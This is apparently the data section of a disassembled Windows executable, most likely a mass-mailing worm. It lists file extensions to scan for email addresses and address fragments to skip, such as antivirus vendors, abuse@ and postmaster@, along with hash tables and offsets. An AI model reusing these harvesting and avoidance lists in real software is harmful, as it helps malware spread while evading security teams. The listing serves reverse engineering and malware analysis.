offset a58f05b7353aa71 ; "58F05B7353AA71A4A6442D15A592A2DB=51F44E"... dd offset a5b37a4c6614b3f ; "5B37A4C6614B3F5ECD969FC1B9AE0622=557625"... dd offset a6038fb7e83fb6d ; "6038FB7E83FB6D395E83C78F687BDC9D=53B84F"... dd offset a6074c0a6abf7a3 ; "6074C0A6ABF7A34A1E1B50030A56BEDA=4B1C8E"... dd offset a6119b4f5fca150 ; "6119B4F5FCA150DA2A636BAC90DC3DBF=9A2542"... dd offset a611b7be28d9a38 ; "611B7BE28D9A383D04DDBB12A5D482FB=570AA7"... dd offset a6130cfc2a82ab3 ; "6130CFC2A82AB3D56C24306006E77720=525CFD"... dd offset a61623dc1090472 ; "61623DC1090472D0ECA0AC62D1405B99=53A0E5"... dd offset a6166394ce35d21 ; "6166394CE35D21701FEAF6B92767FD6D=52F1D1"... dd offset a616b6887265d41 ; "616B6887265D412C1511E733587A5148=9A2542"... dd offset a616b68875103c0 ; "616B68875103C0BB211F065C2C76D4B9=9A2542"... dd offset a616de994002cce ; "616DE994002CCE6654D8120675B7F135=CFE270"... dd offset a616de9948c33ff ; "616DE9948C33FF45A26C1BDA6DB394C6=D8979B"... dd offset a6193dcd4247dca ; "6193DCD4247DCA4A3FEC72AB53558D9D=531600"... dd offset a61a1c3284bdf59 ; "61A1C3284BDF59B8E767EEB2090F113D=3AE78E"... dd offset a61a365b29fc73b ; "61A365B29FC73BDF0798840C0A01FF02=97254F"... dd offset a61a7c879595247 ; "61A7C879595247BB92E60F15B13F1EDB=DE65F1"... dd offset a61b6799601ad51 ; "61B6799601AD511A93D962666E49511F=5955FC"... dd offset a61be06c5b48f75 ; "61BE06C5B48F750D5C5FF31021E42A59=7DB121"... dd offset a61c49a07211dfd ; "61C49A07211DFDD31D4E3CDEE86BAE70=D3337A"... dd offset a61cbe5c404f4c7 ; "61CBE5C404F4C715C809A8588F42950C=9A2542"... dd offset a61cbe5c49fd188 ; "61CBE5C49FD188AEC78FF2C5C50E4982=9A2542"... dd offset a61cbe5c4cb3d73 ; "61CBE5C4CB3D735B77590054E92865F3=9A2542"... dd offset a61cbe5c4fcb0fb ; "61CBE5C4FCB0FB56417722AE12BC6BC8=9A2542"... dd offset a61da95e1b19795 ; "61DA95E1B197957B5C6BD7BBC10DC2C5=5109CC"... dd offset a61df8e778ada83 ; "61DF8E778ADA832BF835C4B3BF05226E=3EE9C5"... dd offset a61eb7bf1115af0 ; "61EB7BF1115AF08F83610411F84BAC32=529C22"... dd offset a61f35d2d48449d ; "61F35D2D48449D16CB3F5A1475988C0D=53B448"... dd offset a6229101585a916 ; "6229101585A916B2E13D9C990295A397=5449CE"... dd offset a6255a178d86d87 ; "6255A178D86D87284663C7880DC29670=52E7DF"... dd offset a6277c1df42eccb ; "6277C1DF42ECCBD53F0B6A93BD28873D=3E95E3"... dd offset a62a22626d206cd ; "62A22626D206CD44AC7DA259EE71D3DB=9A2542"... dd offset a62da882d61ca31 ; "62DA882D61CA310985742F59FB23354F=53C7D7"... dd offset a63ad246f6a0ed5 ; "63AD246F6A0ED5187909B549B0459915=5AC54A"... dd offset a6448040809cd5b ; "6448040809CD5B93F0BDDB5EECEF1489=440D12"... dd offset a644b518b6c3ac1 ; "644B518B6C3AC1085C13DDDE58D06F5E=50ABBB"... dd offset a6487cb6afaee5a ; "6487CB6AFAEE5AABAAC7527C50D18438=532D78"... dd offset a65c27c9e69b21c ; "65C27C9E69B21CFEF5B09FD1E180164A=959C82"... dd offset a65f88249945b36 ; "65F88249945B36F17456F87207B3354E=51ADA4"... dd offset a6670e7b1f5aea4 ; "6670E7B1F5AEA450D22F1E2AA8BC8AF3=5A1B21"... dd offset a669cdd5f3af592 ; "669CDD5F3AF59240D79D60C6B3FE9754=DAA975"... dd offset a670352b3d6d626 ; "670352B3D6D626C8FB2808BDEDD63197=C20F93"... dd offset a670b45d947add6 ; "670B45D947ADD6FC97CC8AEDE0DECFEF=5486AE"... dd offset a675994dd899efd ; "675994DD899EFD36FE03C9267407C944=57B892"... dd offset a67bb344b23f292 ; "67BB344B23F292E08C2D7AE045D1A37E=55D8E4"... dd offset a68ac92fdda9949 ; "68AC92FDDA9949A1D04EA948C7E2BAE8=5695A2"... dd offset a6a77b0571e8453 ; "6A77B0571E845354B459485456CE1C80=1817E9"... dd offset a6a96ed026488b0 ; "6A96ED026488B02FB83DC3A495337BED=54CD02"... dd offset a6afdb0c101555c ; "6AFDB0C101555CD2A05855A3CB7DFD67=42611D"... dd offset a6b5da93809dc61 ; "6B5DA93809DC615F73BCC044148BFA0D=5461D0"... dd offset a6cef093aaadd51 ; "6CEF093AAADD5162660E0A3EF24AB0DA=5313A5"... dd offset a6d01af996de68b ; "6D01AF996DE68B99E93D66AD02330494=3EEA33"... dd offset a6e9c82b0f46e1f ; "6E9C82B0F46E1FDE9C1F52B503693AED=416416"... dd offset a6ecd3b7d9e8f8b ; "6ECD3B7D9E8F8B067A0000DB5AA95AC6=C1EE6D"... dd offset a701d9df6104353 ; "701D9DF61043539B0DC6A0738694C97F=4CA942"... dd offset a714a0e07bc71c5 ; "714A0E07BC71C5A4E5320D6707CC7AA9=7D19CB"... dd offset a71bfe91aa80973 ; "71BFE91AA8097381A4C18AC48C3EB793=5125FD"... dd offset a71cc7aa04be674 ; "71CC7AA04BE67418F10BFBE4ADB1BACF=57054C"... dd offset a72e9ee54ae2d7a ; "72E9EE54AE2D7AE4A3A459C1E0AC3A6B=7D831D"... dd offset a73860b10104260 ; "73860B10104260C684FC4B5EAF57DC7F=8002DF"... dd offset a743bdfffa701b0 ; "743BDFFFA701B05B63A580FE836422BB=53A58D"... dd offset a749bac5681fbd9 ; "749BAC5681FBD9FFDE4E55455EB19347=5461DF"... dd offset a764628faded520 ; "764628FADED52018202266AE46628EF3=58BF1C"... dd offset a76a924aaa9aa96 ; "76A924AAA9AA9635A131F96C2282CBE2=51CA2F"... dd offset a77fe64dbe32a4a ; "77FE64DBE32A4A191F20418E5A58C63E=3E017A"... dd offset a7997f7da9bcad9 ; "7997F7DA9BCAD904EE9E3A8C9145D25F=54DF0C"... dd offset a79c42e4083049a ; "79C42E4083049ABC1C5A74D60EF8786F=40E54B"... dd offset a7a8c61ed143af6 ; "7A8C61ED143AF668972901FDED24595C=42AC3C"... dd offset a7a8c61ed211c35 ; "7A8C61ED211C35FDDD46E4ABDC6957FE=9A2542"... dd offset a7a8c61ed8a035d ; "7A8C61ED8A035D29AB2894D7ECC2EC9D=9A2542"... dd offset a7a8c61ed8b6a6d ; "7A8C61ED8B6A6DB0714283D1232C04D0=CFD41A"... dd offset a7ac175f123506d ; "7AC175F123506D5B3088EAB200DBE815=DC4EB1"... dd offset a7aced55252b211 ; "7ACED55252B2112BE6E0FEA80EF10183=48E889"... dd offset a7bd571d08d7846 ; "7BD571D08D784662E96F7BAE7F7F17B3=5439B5"... dd offset a7c1de1032ec72e ; "7C1DE1032EC72ED20DDC1DBE62CDB5F5=CFD41A"... dd offset a7c1e3b45674301 ; "7C1E3B4567430161CAFC1912FFF73AFD=D1DE36"... dd offset a7c96071c0402ec ; "7C96071C0402ECC40DD0AD08913CF140=55F9E1"... dd offset a7d161a0ea7198c ; "7D161A0EA7198C0D689767A76297B9AB=52F59D"... dd offset a7d39485c9216f0 ; "7D39485C9216F0246F4A32031F8FA521=9A2542"... dd offset a7d4f37d1bdbbaf ; "7D4F37D1BDBBAF7DC0E1F1D4A8A8607D=18B926"... dd offset a7e054ddd830240 ; "7E054DDD830240071DCE4EC2785439CF=9A2542"... dd offset a7e054ddd886745 ; "7E054DDD886745A6451AB40B47BD0D77=9A2542"... dd offset a7eab03cdaa54c3 ; "7EAB03CDAA54C3A230F0A41AB4E58A5D=54791E"... dd offset a7ed9a363bd1352 ; "7ED9A363BD13528121EA0114C8165CA8=CA475D"... dd offset a7ee8f4e5034654 ; "7EE8F4E503465493CDAF0BE0D602074C=7C964B"... dd offset a7f0f970984cd3b ; "7F0F970984CD3BC599F6C652ABD32C60=570166"... dd offset a7f1439ccfddc5a ; "7F1439CCFDDC5A3F60C4B2436F83F05C=57A7BE"... dd offset a7f212ceb33954f ; "7F212CEB33954F743DA5D0191122B0B4=9A2542"... dd offset a7f7f20b452ab34 ; "7F7F20B452AB34CC96F555A97FF755DC=D8979B"... dd offset a7faaf26bff7ad4 ; "7FAAF26BFF7AD4116969C15D9206DE6C=D3C9B4"... dd offset a7faea639d8ff81 ; "7FAEA639D8FF81C851368B0B7681E0D5=557621"... dd offset a800ac0a424daac ; "800AC0A424DAAC3BD40ED7182F740BA7=58BF14"... dd offset a8024083af066b9 ; "8024083AF066B98A86BF0B0BF1135EF7=551988"... dd offset a80a32744a44a33 ; "80A32744A44A3359F3F4B39D19E8E32B=53258C"... dd offset a80dc4ed17010eb ; "80DC4ED17010EB949C6D67A22BD5337B=51381C"... dd offset a80e027a3a3f469 ; "80E027A3A3F469BBC35770626C58A763=528FED"... dd offset a81087f696a182a ; "81087F696A182A12B2BE026E32BDCCFD=523B4D"... dd offset a8118b0cce7a714 ; "8118B0CCE7A714CA48C3D96C4C907027=C12290"... dd offset a82b095829d2b64 ; "82B095829D2B649698A8FD849D1585BB=83720D"... dd offset a8405a510dc81e5 ; "8405A510DC81E57198EC023D0574413B=51CC81"... dd offset a848ae2bcc4c0fb ; "848AE2BCC4C0FB8C03F88F311A674D14=C2E7BD"... dd offset a8498a5bf236586 ; "8498A5BF2365869842CCA5F36C9C718D=3E7971"... dd offset a869350dca00dc7 ; "869350DCA00DC705B5578B11C8B9D623=58019C"... dd offset a86c635d5bca725 ; "86C635D5BCA725E86B0202923FA44A17=D42A5B"... dd offset a87c51c51b862f2 ; "87C51C51B862F2063265D4E062D7B5D5=3E2D04"... dd offset a8a859746290b3b ; "8A859746290B3BD8B7C8FF4C97DF994A=52E795"... dd offset a8ba1fe0328ee13 ; "8BA1FE0328EE13E0160F957077230834=57EA90"... dd offset a8ec2feebb26816 ; "8EC2FEEBB26816C7F65273A0DE8557C2=5084E2"... dd offset a8f810df4de0d27 ; "8F810DF4DE0D2717F459C6A57ADA735B=55EA25"... dd offset a912f5c9fa5ad21 ; "912F5C9FA5AD218F9873336FF98F5EAA=9A2542"... dd offset a989b9796115263 ; "989B97961152633B8D9EAD9BA943C74A=CFD26A"... dd offset a99a9ec9ae01525 ; "99A9EC9AE015254171284F084DC1DAB5=C36F02"... dd offset a9b7d53ad0d64f9 ; "9B7D53AD0D64F95BF7FDF3546A218AF3=C2E2C0"... dd offset a9bb8cf766d9cc7 ; "9BB8CF766D9CC708910FCCD1D96540B8=425A4F"... dd offset aA25314c38ca23e ; "A25314C38CA23E425A987E58D81C33B8=3E83F2"... dd offset aA541421b64195e ; "A541421B64195ED166C67A5880B05A1D=9A2542"... dd offset aA637e705b3db17 ; "A637E705B3DB170D229938B56F2D653D=865F80"... dd offset aA881fb2abbde65 ; "A881FB2ABBDE65AE27EA89A942BBF7FC=DCF07B"... dd offset aA8b1f19854237e ; "A8B1F19854237E43E2F0F970C257E589=CFD41A"... dd offset aA96f9c44b267be ; "A96F9C44B267BE0637B7704B955897F9=7CF07E"... dd offset aAba112b2273d4e ; "ABA112B2273D4E120EB1B4D52B6C8D6D=543AB1"... dd offset aAcc95c4dd02646 ; "ACC95C4DD026468296F67767F1B4F340=53DE0E"... dd offset aAf8bc74e760330 ; "AF8BC74E760330C37AC14F9617061260=442A96"... dd offset aB135eed1e9d187 ; "B135EED1E9D187207E55AF224882AF01=D5FB84"... dd offset aB42b1baeba4577 ; "B42B1BAEBA45778F36503B2A9C2F6115=51AE0C"... dd offset aB611ab4ec23f70 ; "B611AB4EC23F7057E1725F29C9DEF423=C828B6"... dd offset aB748dcbafe8a12 ; "B748DCBAFE8A126652C4FC1E074F9FA4=18E87F"... dd offset aB8a703c8c86027 ; "B8A703C8C86027F4D2E817C52D2369CB=52E1C2"... dd offset aBca6c406e11bf6 ; "BCA6C406E11BF6FE8F8D72527380FCCD=540956"... dd offset aC064ff7ef92cef ; "C064FF7EF92CEF035B87971C204A5609=451ABF"... dd offset aC0fc7f035ae9b8 ; "C0FC7F035AE9B858D1F606D0941E4D70=557625"... dd offset aC35201fc07b335 ; "C35201FC07B335F9B39A6A0728F7B901=5410EA"... dd offset aC3d0e5e02624fa ; "C3D0E5E02624FAF838E8588B0AC45EE5=3E10E9"... dd offset aC4f524b53fcd38 ; "C4F524B53FCD381559DD41A5664FBDD0=5313AC"... dd offset aC5819fe95ffb46 ; "C5819FE95FFB46C9CA1800AA4E35F463=515875"... dd offset aC5cbaebc1c824d ; "C5CBAEBC1C824DE1E50360E9534557E2=8D1E7B"... dd offset aC5ea4fbb304662 ; "C5EA4FBB30466219CB2AD209F824DB49=529FF7"... dd offset aC628680846880e ; "C628680846880E5461FC21E9F312DC5F=C1C624"... dd offset aD1d63c21d16b78 ; "D1D63C21D16B788A11968552F6B91CA5=DB078A"... dd offset aD43c3e7b2c52e4 ; "D43C3E7B2C52E41014DFA8BC662A4B8D=185B0D"... dd offset aD467669620891f ; "D467669620891F5A66FB3CEE27809A49=9A2542"... dd offset aD4b82f18dd5cbd ; "D4B82F18DD5CBDAAA59F5FC49261BD02=9A2542"... dd offset aD54fc3b6e05953 ; "D54FC3B6E05953669E501C429BDE1F6F=9A2542"... dd offset aD66704abef6a50 ; "D66704ABEF6A500D397E855BC2C2574D=51FB82"... dd offset aD6934d7f3db32f ; "D6934D7F3DB32F5581D15797CDFEE3FB=557E8C"... dd offset aD6c0099f2169f3 ; "D6C0099F2169F32CE55ED21924FE6057=5283D9"... dd offset aD6e46bf02e64d9 ; "D6E46BF02E64D940E37EECCC982584A8=C95238"... dd offset aD9d364a2c8a83e ; "D9D364A2C8A83E4D597980AB19EE4143=509242"... dd offset aDbeca12575d940 ; "DBECA12575D94025189E76F00A531A48=5361B5"... dd offset aDc6f745290beba ; "DC6F745290BEBAA748D3F00DB4F22FCF=557629"... dd offset aDebf8cd5eadb78 ; "DEBF8CD5EADB7851B6B7248D42539089=5243A8"... dd offset aDfa8a5fd169cb0 ; "DFA8A5FD169CB024698812DFC82D0BC3=5237DC"... dd offset aE158e029ac911a ; "E158E029AC911A8DE5B5881D10945BBF=5410EF"... dd offset aE556b979239296 ; "E556B97923929644771748B42FD26392=554CFC"... dd offset aE7c3aa73cd0a25 ; "E7C3AA73CD0A254E96E34049FBEFA8B1=43AAD6"... dd offset aE9fa780a2994eb ; "E9FA780A2994EB62416C8129B9F9EC6F=570ACA"... dd offset aEa5a9e8a505184 ; "EA5A9E8A505184B578217ECE5936544B=9729CA"... dd offset aEafb6e5161b90f ; "EAFB6E5161B90F231562FCDAAF91BBFB=51CB92"... dd offset aEc2a6b3f7394f2 ; "EC2A6B3F7394F206EFBAF7D81A939E8A=9A2542"... dd offset aEc2a6b3fb6dd91 ; "EC2A6B3FB6DD91ACA9F6AF5ACA529BD2=9A2542"... dd offset aEc7668f77fb7b2 ; "EC7668F77FB7B21921A0EA296001E8A9=55D628"... dd offset aEc9655ad1633bc ; "EC9655AD1633BCF292DEA3C8AA0424AB=9A2542"... dd offset aEcc7022cdfea11 ; "ECC7022CDFEA11C6FB0F3849B8B89EFA=D9083D"... dd offset aEce5265115f6ed ; "ECE5265115F6ED93B18CBDCFB8D6726A=D9A0D0"... dd offset aEdcc5d8c0a6119 ; "EDCC5D8C0A61192AF490034A3FEE6CC5=47859A"... dd offset aEfc52cb260c525 ; "EFC52CB260C525686B94C69A7AEFE8D9=D57014"... dd offset aF0222ed187b89a ; "F0222ED187B89A45427F9A8312B646CE=477200"... dd offset aF3032da7f7c1e9 ; "F3032DA7F7C1E94A4FE9D59838C67D40=51F81A"... dd offset aF4842dae3b27f1 ; "F4842DAE3B27F129678E1847263CAB26=54506D"... dd offset aF63c699d886487 ; "F63C699D886487A8950E570D294EDFE1=9A2542"... dd offset aF63edccbdcaf1a ; "F63EDCCBDCAF1A1E79DEC78C8666B552=58BF0F"... dd offset aFd6a5500dc3ed6 ; "FD6A5500DC3ED6A4E8398E3580A974FA=482492"... dd offset aFdd38b10a85983 ; "FDD38B10A859838455DF59392B3C3F71=513987"... dd offset aFf9b63e22ab088 ; "FF9B63E22AB088EE458F1586A34CFA06=5102D1"... align 4 db 0 align 2 dd offset aBadAllocation ; "bad allocation" align 4 db 0 align 2 dd offset a_wab ; ".wab" dd offset a_txt ; ".txt" dd offset a_msg ; ".msg" dd offset a_htm ; ".htm" dd offset a_shtm ; ".shtm" dd offset a_stm ; ".stm" dd offset a_xml ; ".xml" dd offset a_dbx ; ".dbx" dd offset a_mbx ; ".mbx" dd offset a_mdx ; ".mdx" dd offset a_eml ; ".eml" dd offset a_nch ; ".nch" dd offset a_mmf ; ".mmf" dd offset a_ods ; ".ods" dd offset a_cfg ; ".cfg" dd offset a_asp ; ".asp" dd offset a_php ; ".php" dd offset a_pl ; ".pl" dd offset a_wsh ; ".wsh" dd offset a_adb ; ".adb" dd offset a_tbb ; ".tbb" dd offset a_sht ; ".sht" dd offset a_xls ; ".xls" dd offset a_oft ; ".oft" dd offset a_uin ; ".uin" dd offset a_cgi ; ".cgi" dd offset a_mht ; ".mht" dd offset a_dhtm ; ".dhtm" dd offset a_jsp ; ".jsp" dd offset a_dat ; ".dat" dd offset a_lst ; ".lst" align 4 db 0 align 2 dd offset a@microsoft ; "@microsoft" dd offset aRating@ ; "rating@" dd offset aFSecur ; "f-secur" dd offset aNews ; "news" dd offset aUpdate ; "update" dd offset aAnyone@ ; "anyone@" dd offset aBugs@ ; "bugs@" dd offset aContract@ ; "contract@" dd offset aFeste ; "feste" dd offset aGoldCerts@ ; "gold-certs@" dd offset aHelp@ ; "help@" dd offset aInfo@ ; "info@" dd offset aNobody@ ; "nobody@" dd offset aNoone@ ; "noone@" dd offset aKasp ; "kasp" dd offset aAdmin ; "admin" dd offset aIcrosoft ; "icrosoft" dd offset aSupport ; "support" dd offset aNtivi ; "ntivi" dd offset aUnix ; "unix" dd offset aBsd ; "bsd" dd offset aLinux ; "linux" dd offset aListserv ; "listserv" dd offset aCertific ; "certific" dd offset aSopho ; "sopho" dd offset a@foo ; "@foo" dd offset a@iana ; "@iana" dd offset aFreeAv ; "free-av" dd offset a@messagelab ; "@messagelab" dd offset aWinzip ; "winzip" dd offset aGoogle ; "google" dd offset aWinrar ; "winrar" dd offset aSamples ; "samples" dd offset aAbuse ; "abuse" dd offset aPanda ; "panda" dd offset aCafee ; "cafee" dd offset aSpam ; "spam" dd offset aPgp ; "pgp" dd offset a@avp_ ; "@avp." dd offset aNoreply ; "noreply" dd offset aLocal ; "local" dd offset aRoot@ ; "root@" dd offset aPostmaster@ ; "postmaster@" align 4 db 0 align 2 dd offset aBadAllocation ; "bad allocation" align 4 db 0 align 2 dd offset aBadAllocation ; "bad allocation" align 4 db 0 align 2 dd offset a_wab ; ".wab" dd offset a_txt ; ".txt" dd offset a_msg ; ".msg" dd offset a_htm ; ".htm" dd offset a_shtm ; ".shtm" dd offset a_stm ; ".stm" dd offset a_xml ; ".xml" dd offset a_dbx ; ".dbx" dd offset a_mbx ; ".mbx" dd offset a_mdx ; ".mdx" dd offset a_eml ; ".eml" dd offset a_nch ; ".nch" dd offset a_mmf ; ".mmf" dd offset a_ods ; ".ods" dd offset a_cfg ; ".cfg" dd offset a_asp ; ".asp" dd offset a_php ; ".php" dd offset a_pl ; ".pl" dd offset a_wsh ; ".wsh" dd offset a_adb ; ".adb" dd offset a_tbb ; ".tbb" dd offset a_sht ; ".sht" dd offset a_xls ; ".xls" dd offset a_oft ; ".oft" dd offset a_uin ; ".uin" dd offset a_cgi ; ".cgi" dd offset a_mht ; ".mht" dd offset a_dhtm ; ".dhtm" dd offset a_jsp ; ".jsp" dd offset a_dat ; ".dat" dd offset a_lst ; ".lst" align 4 db 0 align 2 dd offset a@microsoft ; "@microsoft" dd offset aRating@ ; "rating@" dd offset aFSecur ; "f-secur" dd offset aNews ; "news" dd offset aUpdate ; "update" dd offset aAnyone@ ; "anyone@" dd offset aBugs@ ; "bugs@" dd offset aContract@ ; "contract@" dd offset aFeste ; "feste" dd offset aGoldCerts@ ; "gold-certs@" dd offset aHelp@ ; "help@" dd offset aInfo@ ; "info@" dd offset aNobody@ ; "nobody@" dd offset aNoone@ ; "noone@" dd offset aKasp ; "kasp" dd offset aAdmin ; "admin" dd offset aIcrosoft ; "icrosoft" dd offset aSupport ; "support" dd offset aNtivi ; "ntivi" dd offset aUnix ; "unix" dd offset aBsd ; "bsd" dd offset aLinux ; "linux" dd offset aListserv ; "listserv" dd offset aCertific ; "certific" dd offset aSopho ; "sopho" dd offset a@foo ; "@foo" dd offset a@iana ; "@iana" dd offset aFreeAv ; "free-av" dd offset a@messagelab ; "@messagelab" dd offset aWinzip ; "winzip" dd offset aGoogle ; "google" dd offset aWinrar ; "winrar" dd offset aSamples ; "samples" dd offset aAbuse ; "abuse" dd offset aPanda ; "panda" dd offset aCafee ; "cafee" dd offset aSpam ; "spam" dd offset aPgp ; "pgp" dd offset a@avp_ ; "@avp." dd offset aNoreply ; "noreply" dd offset aLocal ; "local" dd offset aRoot@ ; "root@" dd offset aPostmaster@ ; "postmaster@" align 4 db 0 align 2 dw 45h db 0 a0a@ db '0@',0 dw 6DEh db 0C7h ; db 0B9h, 0C0h, 0A8h db 33h ; 3 db 3, 0C0h, 0A8h db 33h ; 3 db 7, 0Fh, 0C5h db 0 aQGj db 'Qȃ',0 align 4 db 0 align 2 dw 270h db 0FCh ; align 2 dw 5E4Ch db 0 align 2 dw 402h db 5 db 0B4h, 2 dup(1) db 4 db 2, 45h, 0 db 0 db 3Ch, 0DAh, 0D3h db 0 align 2 dw 1DEh db 1Ah db 92h, 0C0h, 0A8h db 33h ; 3 db 3, 0C0h, 0A8h db 33h ; 3 db 7, 8, 0 db 46h ; F db 5Ch, 2, 0 db 5 align 2 aAbcdefghijklmn db 'abcdefghijklmnopqr',0 align 2 dd offset aBadAllocation ; "bad allocation" align 4 dd 81F80000h, 41h, 0BB9C0000h, 0BB940041h, 0BB8C0041h dd 0BB840041h, 0BB7C0041h, 0BB740041h, 0BB6C0041h, 0BB640041h dd 0BB5C0041h, 0BB540041h, 0BB4C0041h, 0BB440041h, 0BB3C0041h dd 0BB340041h, 0BB2C0041h, 0BB240041h, 0BB1C0041h, 0BB180041h dd 0BB100041h, 0BB080041h, 0BB000041h, 0BAF80041h, 0BAF00041h dd 0BAE80041h, 0BAE00041h, 0BAD80041h, 0BAD00041h, 0BAC80041h dd 0BAC00041h, 0BAB80041h, 0BAB00041h, 41h, 0BAA40000h dd 0BA9C0041h, 0BA940041h, 0BA8C0041h, 0BA840041h, 0BA7C0041h dd 0BA740041h, 0BA680041h, 0BA600041h, 0BA540041h, 0BA4C0041h dd 0BA440041h, 0BA3C0041h, 0BA340041h, 0BA2C0041h, 0BA240041h dd 0BA180041h, 0BA100041h, 0BA080041h, 0BA000041h, 0B9FC0041h dd 0B9F40041h, 0B9E80041h, 0B9DC0041h, 0B9D40041h, 0B9CC0041h dd 0B9C40041h, 0B9BC0041h, 0B9B00041h, 0B9A80041h, 0B9A00041h dd 0B9980041h, 0B9900041h, 0B9880041h, 0B9800041h, 0B9780041h dd 0B9700041h, 0B96C0041h, 0B9640041h dword_421AC8 dd 0B95C0041h, 0B9540041h, 0B94C0041h, 0B9400041h, 41h ; DATA XREF: sub_4065D1+79o dd 1ABD0000h dword_421AE0 dd 2D1619EFh ; DATA XREF: sub_408AF9r ; sub_408AF9+10o dd 81F8025Fh, 2 dup(81F80041h), 41h, 0BB9C0000h, 0BB940041h dd 0BB8C0041h, 0BB840041h, 0BB7C0041h, 0BB740041h, 0BB6C0041h dd 0BB640041h, 0BB5C0041h, 0BB540041h, 0BB4C0041h, 0BB440041h dd 0BB3C0041h, 0BB340041h, 0BB2C0041h, 0BB240041h, 0BB1C0041h dd 0BB180041h, 0BB100041h, 0BB080041h, 0BB000041h, 0BAF80041h dd 0BAF00041h, 0BAE80041h, 0BAE00041h, 0BAD80041h, 0BAD00041h dword_421B60 dd 0BAC80041h ; DATA XREF: sub_408707r sub_408707+Ao dd 0BAC00041h, 0BAB80041h, 0BAB00041h, 41h, 0BAA40000h dd 0BA9C0041h, 0BA940041h, 0BA8C0041h, 0BA840041h, 0BA7C0041h dd 0BA740041h, 0BA680041h, 0BA600041h, 0BA540041h, 0BA4C0041h dd 0BA440041h, 0BA3C0041h, 0BA340041h, 0BA2C0041h, 0BA240041h dd 0BA180041h, 0BA100041h, 0BA080041h, 0BA000041h, 0B9FC0041h dd 0B9F40041h, 0B9E80041h, 0B9DC0041h, 0B9D40041h, 0B9CC0041h dd 0B9C40041h, 0B9BC0041h, 0B9B00041h, 0B9A80041h, 0B9A00041h dd 0B9980041h, 0B9900041h, 0B9880041h, 0B9800041h, 0B9780041h dd 0B9700041h, 0B96C0041h, 0B9640041h, 0B95C0041h, 0B9540041h dd 0B94C0041h, 0B9400041h, 41h, 81F80000h, 6 dup(81F80041h) dd 0A0041h dword_421C44 dd 81F80000h, 4 dup(81F80041h) ; DATA XREF: sub_412850+31o dword_421C58 dd 0F8E80041h, 0F7980041h, 1010041h, 11E0000h, 0F0000h ; DATA XREF: sub_412850+3Bo dword_421C6C dd 0FD680000h, 0F8200041h, 41h, 1E0000h, 0F0000h ; DATA XREF: sub_412850+4Bo word_421C80 dw 0 ; DATA XREF: sub_413683+54r align 4 dd 0F8980000h, 41h, 130000h, 70000h, 0 dd 30001h byte_421C9C db 7 ; DATA XREF: sub_4141CB+41r align 2 dw 0Fh dd 3F001Fh, 0FF007Fh byte_421CA8 db 0FFh, 1, 0FFh ; DATA XREF: sub_413C3B+38o byte_421CAB db 3 ; DATA XREF: sub_413B0A+6o dd 0FFF07FFh, 1000000h, 1F0F0703h, 0FF7F3Fh, 49470000h dd 61373846h dword_421CC4 dd 81F80000h, 4 dup(81F80041h) ; DATA XREF: .text:00417593o ; sub_41759A+2o dword_421CD8 dd 5200041h, 1993h, 2 dup(0) ; DATA XREF: sub_4032C9+5o dd 0E64E0000h dword_421CEC dd 0BB40h ; DATA XREF: sub_403624+6w ; sub_403632+6r ... dword_421CF0 dd 4 dup(0) ; DATA XREF: sub_405EFE+9o dword_421D00 dd 0 ; DATA XREF: sub_405EFEr ; sub_405EFE+10w dword_421D04 dd 3 dup(0) ; DATA XREF: sub_406E37+CFo ; sub_408056+22o ... dword_421D10 dd 0 ; DATA XREF: sub_40CF2A+4w sub_40CF34r ... align 8 dword_421D18 dd 0 ; DATA XREF: sub_40CFE7+42w ; sub_40CFE7+C8o dword_421D1C dd 0 ; DATA XREF: sub_40CFE7+4Bw dword_421D20 dd 0 ; DATA XREF: sub_40CFE7+54w dword_421D24 dd 0 ; DATA XREF: sub_40CFE7+5Dw dword_421D28 dd 0 ; DATA XREF: sub_40CFE7+67w dword_421D2C dd 0 ; DATA XREF: sub_40CFE7+75w dword_421D30 dd 0 ; DATA XREF: sub_40CFE7+7Ew dword_421D34 dd 0 ; DATA XREF: sub_40CFE7+C3w dword_421D38 dd 0 ; DATA XREF: sub_40CFE7+8Dw dword_421D3C dd 0 ; DATA XREF: sub_41304B+Ew ; sub_41304B+2Ew ... dword_421D40 dd 0 ; DATA XREF: sub_41521B+3o ; sub_415365:loc_415371r ... dword_421D44 dd 0 ; DATA XREF: sub_41661B+Ao ; sub_4167FD:loc_416809r ... dword_421D48 dd 0 ; DATA XREF: sub_41661B+15o ; sub_416813:loc_41681Fr ... align 10h dword_421D50 dd 0 ; DATA XREF: sub_4175B2:loc_417639r ; sub_4175B2+13Fr ... align 8 dword_421D58 dd 0 ; DATA XREF: sub_4175B2:loc_41764Cr ; sub_4175B2+1C4r ... dd 0Fh dup(0) dword_421D98 dd 1Ah dup(0) ; DATA XREF: sub_4175B2+12Co ; sub_4175B2+191o ... _data ends end start